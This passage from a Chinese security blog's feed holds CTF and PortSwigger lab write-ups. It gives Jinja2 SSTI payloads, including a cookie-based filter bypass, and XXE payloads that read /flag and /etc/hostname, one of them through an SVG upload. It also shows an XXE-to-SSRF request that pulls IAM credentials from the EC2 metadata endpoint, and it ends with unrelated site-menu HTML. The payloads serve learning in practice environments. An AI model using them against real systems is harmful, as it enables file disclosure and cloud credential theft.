class="code"><pre><span class="line">payload</span><br><span class="line"></span><br><span class="line">&#123;&#123;self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open(&quot;/flag&quot;).read()&#125;&#125;</span><br></pre></td></tr></table></figure><p>使用request.cookies构造</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?name=&#123;&#123;self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()&#125;&#125;</span><br><span class="line"></span><br><span class="line">cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag</span><br></pre></td></tr></table></figure><p>获得falg</p><p><img src="/2025/08/05/2025-08-05-SSTI/kpgnrbe8e8c32b7d54656944ee2fcad4a3746.png" alt="image-20250803011420810"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/05/2025-08-05-SSTI/</id>
    <link href="https://blog.ziworld.top/2025/08/05/2025-08-05-SSTI/"/>
    <published>2025-08-05T04:52:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="SSTI-漏洞概述"><a href="#SSTI-漏洞概述" class="headerlink" title="SSTI 漏洞概述"></a>SSTI 漏洞概述</h2><p>SSTI（Server-Side Template]]>
    </summary>
    <title>SSTI</title>
    <updated>2026-03-09T09:40:18.941Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="XXE" scheme="https://blog.ziworld.top/tags/XXE/"/>
    <content>
      <![CDATA[<h2 id="什么是XXE"><a href="#什么是XXE" class="headerlink" title="什么是XXE"></a>什么是XXE</h2><p><strong>XXE</strong>（XML External Entity Injection）XML 外部实体注入的缩写。<strong>解析时未对XML外部实体加以限制，导致攻击者将恶意代码注入到XML中，导致服务器加载恶意的外部实体引发文件读取，SSRF，命令执行等危害操作</strong>。</p><h2 id="什么是XML"><a href="#什么是XML" class="headerlink" title="什么是XML"></a>什么是XML</h2><p>XML指可扩展标记语言（EXtensible Markup Language）</p><p>XML的设计宗旨是<strong>传输数据</strong>，而不是显示数据</p><p>XML不会做任何事情。XML被设计用来结构化、存储以及传输信息</p><h2 id="XML和HTML的区别"><a href="#XML和HTML的区别" class="headerlink" title="XML和HTML的区别"></a>XML和HTML的区别</h2><p>XML被设计用来传输和存储数据，其焦点是数据的内容</p><p>HTML被设计用来显示数据，其焦点是数据的外观</p><h2 id="实体与外部实体"><a href="#实体与外部实体" class="headerlink" title="实体与外部实体"></a>实体与外部实体</h2><ul><li><strong>内部实体</strong>： <code>&lt;!ENTITY name &quot;value&quot;&gt;</code>，使用时通过 <code>&amp;name;</code> 引用。</li><li><strong>外部实体</strong>：<code>&lt;!ENTITY name SYSTEM &quot;URI&quot;&gt;</code>，本地文件路径（如 <code>file:///etc/passwd</code>）、网络地址（如 <code>http://example.com</code>）等。</li></ul><p>当 XML 解析器<strong>未禁用外部实体解析功能</strong>时，攻击者可构造包含恶意外部实体的 XML 数据，使解析器加载外部资源，从而触发漏洞。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?mxl version=&quot;1.0&quot; encoding=&quot;TTF-8&quot; ?&gt;</span> </span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">root</span> [</span></span><br><span class="line"><span class="meta">        <span class="meta">&lt;!ENTITY <span class="keyword">hello</span> <span class="string">&quot;world&quot;</span>&gt;</span></span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">    ]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">root</span>&gt;</span></span><br><span class="line">    <span class="symbol">&amp;hello;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br></pre></td></tr></table></figure><p>指定版本和编码方式<code>&lt;?mxl version=&quot;1.0&quot; encoding=&quot;TTF-8&quot; ?&gt;</code></p><p>主体是由&lt;&gt;&lt;&#x2F;&gt;,且根标记只能有一个</p><p>XML DTD做用来做约束，SYSTEM引用本地，PUBLIC引用远程</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE root [       &lt;!--根标记是root--&gt;</span><br><span class="line"></span><br><span class="line">]&gt;</span><br></pre></td></tr></table></figure><p>外部实体支持http、file等协议。不同程序支持的协议不同</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810001934573.png" alt="image-20250810001934573"></p><h3 id="触发条件"><a href="#触发条件" class="headerlink" title="触发条件"></a>触发条件</h3><p>XXE 触发需满足两个条件：</p><ol><li><strong>应用接受 XML 输入</strong>：应用存在解析 XML 数据的功能（如 API 接口、文件上传、配置解析等）。</li><li><strong>解析器配置不安全</strong>：解析器允许解析外部实体，且未限制实体访问的权限（如允许读取本地文件、发起网络请求）。</li></ol><h1 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h1><h2 id="CSAWQual-2019-Unagi"><a href="#CSAWQual-2019-Unagi" class="headerlink" title="[CSAWQual 2019]Unagi"></a>[CSAWQual 2019]Unagi</h2><p>环境：[<a href="https://www.nssctf.cn/problem/192">CSAWQual 2019]Unagi | NSSCTF</a></p><blockquote><p>题目描述</p><p>flag在&#x2F;flag。</p></blockquote><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810002234378.png" alt="image-20250810002234378"></p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810002300484.png" alt="image-20250810002300484"></p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810002309419.png" alt="image-20250810002309419"></p><p>看一下样本</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810002524520.png" alt="image-20250810002524520"></p><p>文件读取</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=&#x27;1.0&#x27;?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">users</span> [</span></span><br><span class="line"><span class="meta"><span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///flag&quot;</span> &gt;</span>]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">users</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">user</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">username</span>&gt;</span>bob<span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">password</span>&gt;</span>passwd2<span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">name</span>&gt;</span> Bob<span class="tag">&lt;/<span class="name">name</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">email</span>&gt;</span>bob@fakesite.com<span class="tag">&lt;/<span class="name">email</span>&gt;</span>  </span><br><span class="line">        <span class="tag">&lt;<span class="name">group</span>&gt;</span>CSAW2019<span class="tag">&lt;/<span class="name">group</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">intro</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">intro</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">users</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>显示被WAF拦截了</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810003256011.png" alt="image-20250810003256011"></p><p>转成utf-16编码绕过</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810004204977.png" alt="image-20250810004204977"></p><h2 id="NCTF-2019-Fake-XML-cookbook"><a href="#NCTF-2019-Fake-XML-cookbook" class="headerlink" title="[NCTF 2019]Fake XML cookbook"></a>[NCTF 2019]Fake XML cookbook</h2><p>环境：[<a href="https://www.nssctf.cn/problem/1256">NCTF 2019]Fake XML cookbook | NSSCTF</a></p><p>打开后一个登录页面</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810004458523.png" alt="image-20250810004458523"></p><p>随便输点，抓包</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810004636553.png" alt="image-20250810004636553"></p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810004703178.png" alt="image-20250810004703178"></p><p>post发送的好像就是xml，改一下，file读根目录flag</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">note</span> [<span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///flag&quot;</span>&gt;</span>]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">user</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">username</span>&gt;</span></span><br><span class="line"><span class="symbol">&amp;xxe;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">username</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">password</span>&gt;</span></span><br><span class="line">2</span><br><span class="line"><span class="tag">&lt;/<span class="name">password</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">user</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810005322797.png" alt="image-20250810005322797"></p><h2 id="利用-XXE-执行-SSRF-攻击"><a href="#利用-XXE-执行-SSRF-攻击" class="headerlink" title="利用 XXE 执行 SSRF 攻击"></a>利用 XXE 执行 SSRF 攻击</h2><p>环境:<a href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf">Lab: Exploiting XXE to perform SSRF attacks | Web Security Academy</a></p><blockquote><p>描述：</p><p>This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.<br>这个实验有一个”检查库存”功能，它会解析 XML 输入并在响应中返回任何意外的值。</p><p>The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is <code>http://169.254.169.254/</code>. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.<br>实验服务器在默认 URL 运行一个（模拟的）EC2 元数据端点，即 <code>http://169.254.169.254/</code> 。此端点可用于获取有关实例的数据，其中一些可能包含敏感信息。</p><p>To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.<br>要解决此实验，需利用 XXE 漏洞执行 SSRF 攻击，从 EC2 元数据端点获取服务器的 IAM 密钥访问密钥。</p></blockquote><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810014135323.png" alt="image-20250810014135323"></p><p>点开一件商品，里面有检测库存</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810014623316.png" alt="image-20250810014623316"></p><p>看一个bp，发现有个post</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810014733569.png" alt="image-20250810014733569"></p><p>构造</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">test</span> [ <span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;http://169.254.169.254/&quot;</span>&gt;</span> ]&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">stockCheck</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">productId</span>&gt;</span></span><br><span class="line">        <span class="symbol">&amp;xxe;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">productId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">storeId</span>&gt;</span></span><br><span class="line">        1</span><br><span class="line">    <span class="tag">&lt;/<span class="name">storeId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">stockCheck</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810015149152.png" alt="image-20250810015149152"></p><p>根据响应，不断更改</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://169.254.169.254/latest/meta-data/iam/security-credentials/admin</span><br></pre></td></tr></table></figure><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810015330808.png" alt="image-20250810015330808"></p><h2 id="通过图像文件上传利用-XXE"><a href="#通过图像文件上传利用-XXE" class="headerlink" title="通过图像文件上传利用 XXE"></a>通过图像文件上传利用 XXE</h2><p>环境：<a href="https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload">Lab: Exploiting XXE via image file upload | Web Security Academy</a></p><blockquote><p>描述：</p><p>This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.<br>这个实验允许用户将头像附加到评论中，并使用 Apache Batik 库来处理头像图片文件。</p><p>To solve the lab, upload an image that displays the contents of the file after processing. Then use the “Submit solution” button to submit the value of the server hostname. <code>/etc/hostname</code><br>要解决这个实验，上传一张图片，展示处理后的文件内容。然后使用“提交解决方案”按钮提交服务器主机名的值。 <code>/etc/hostname</code></p><p>提示：</p><p>The SVG image format uses XML.<br>SVG 图片格式使用 XML。</p></blockquote><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810015936372.png" alt="image-20250810015936372"></p><p>查看帖子，在帖子评论中有上传文件</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810020138252.png" alt="image-20250810020138252"></p><p>上传svg图像</p><figure class="highlight svg"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> standalone=<span class="string">&quot;yes&quot;</span>?&gt;</span><span class="meta">&lt;!DOCTYPE <span class="keyword">test</span> [ <span class="meta">&lt;!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">&quot;file:///etc/hostname&quot;</span> &gt;</span> ]&gt;</span><span class="tag">&lt;<span class="name">svg</span> <span class="attr">width</span>=<span class="string">&quot;128px&quot;</span> <span class="attr">height</span>=<span class="string">&quot;128px&quot;</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://www.w3.org/2000/svg&quot;</span> <span class="attr">xmlns:xlink</span>=<span class="string">&quot;http://www.w3.org/1999/xlink&quot;</span> <span class="attr">version</span>=<span class="string">&quot;1.1&quot;</span>&gt;</span><span class="tag">&lt;<span class="name">text</span> <span class="attr">font-size</span>=<span class="string">&quot;16&quot;</span> <span class="attr">x</span>=<span class="string">&quot;0&quot;</span> <span class="attr">y</span>=<span class="string">&quot;16&quot;</span>&gt;</span><span class="symbol">&amp;xxe;</span><span class="tag">&lt;/<span class="name">text</span>&gt;</span><span class="tag">&lt;/<span class="name">svg</span>&gt;</span></span><br></pre></td></tr></table></figure><p>内容在评论的头像中</p><p><img src="/2025/08/04/2025-8-4-XXE/image-20250810021201020.png" alt="image-20250810021201020"></p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/08/04/2025-8-4-XXE/</id>
    <link href="https://blog.ziworld.top/2025/08/04/2025-8-4-XXE/"/>
    <published>2025-08-04T12:28:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="什么是XXE"><a href="#什么是XXE" class="headerlink" title="什么是XXE"></a>什么是XXE</h2><p><strong>XXE</strong>（XML External Entity]]>
    </summary>
    <title>XXE</title>
    <updated>2026-03-09T09:40:19.073Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="配置" scheme="https://blog.ziworld.top/categories/%E9%85%8D%E7%BD%AE/"/>
    <content>
      <![CDATA[<h2 id="导航栏"><a href="#导航栏" class="headerlink" title="导航栏"></a>导航栏</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;menus_item&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page group&quot;</span> <span class="attr">href</span>=<span class="string">&quot;javascript:void(0);&quot;</span> <span class="attr">rel</span>=<span class="string">&quot;external nofollow noreferrer&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-compass&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span>&gt;</span>目录<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-chevron-down&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;menus_item_child&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/archives.html&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-archive&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>归档<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/tags.html&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-tags&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>标签<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/categories.html&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-folder-open&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>分类<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;menus_item&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page group&quot;</span> <span class="attr">href</span>=<span class="string">&quot;javascript:void(0);&quot;</span> <span class="attr">rel</span>=<span class="string">&quot;external nofollow noreferrer&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;far fa-file-alt&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span>&gt;</span>主题文档<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-chevron-down&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;menus_item_child&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/archives/typecho-butterfly.html&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-map-signs&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>使用说明<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;/archives/tagplugins.html&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-tag&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>标签外挂<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">ul</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;menus_item&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page&quot;</span> <span class="attr">href</span>=<span class="string">&quot;https://blog.wehaox.com/friend.html&quot;</span> <span class="attr">title</span>=<span class="string">&quot;友链&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-link&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span>&gt;</span>友链<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;menus_item&quot;</span>&gt;</span></span><br><span class="line">               <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page&quot;</span> <span class="attr">href</span>=<span class="string">&quot;https://blog.wehaox.com/about.html&quot;</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fa-fw fas fa-user&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span>                         </span><br><span class="line">       <span class="tag">&lt;<span class="name">span</span>&gt;</span>关于<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">              <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;menus_item&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page group&quot;</span> <span class="attr">href</span>=<span class="string">&quot;javascript:void(0);&quot;</span> <span class="attr">rel</span>=<span class="string">&quot;external nofollow noreferrer&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-network-wired&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">span</span>&gt;</span>其他站点<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-chevron-down&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">ul</span> <span class="attr">class</span>=<span class="string">&quot;menus_item_child&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;https://www.wehaox.com/&quot;</span> <span class="attr">target</span>=<span class="string">&quot;_BLANK&quot;</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">i</span> <span class="attr">class</span>=<span class="string">&quot;fas fa-globe-asia&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">i</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">span</span>&gt;</span>WeHao’s Web<span class="tag">&lt;/<span class="name">span</span>&gt;</span><span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">li</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">li</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">a</span> <span class="attr">class</span>=<span class="string">&quot;site-page child&quot;</span> <span class="attr">href</span>=<span class="string">&quot;https://file.wehaox.com/&quot;</span> <span class="attr">target</span>=<span class="string">&quot;_BLANK&quot;</span>&gt;</span></span><br><span class="line">                <span 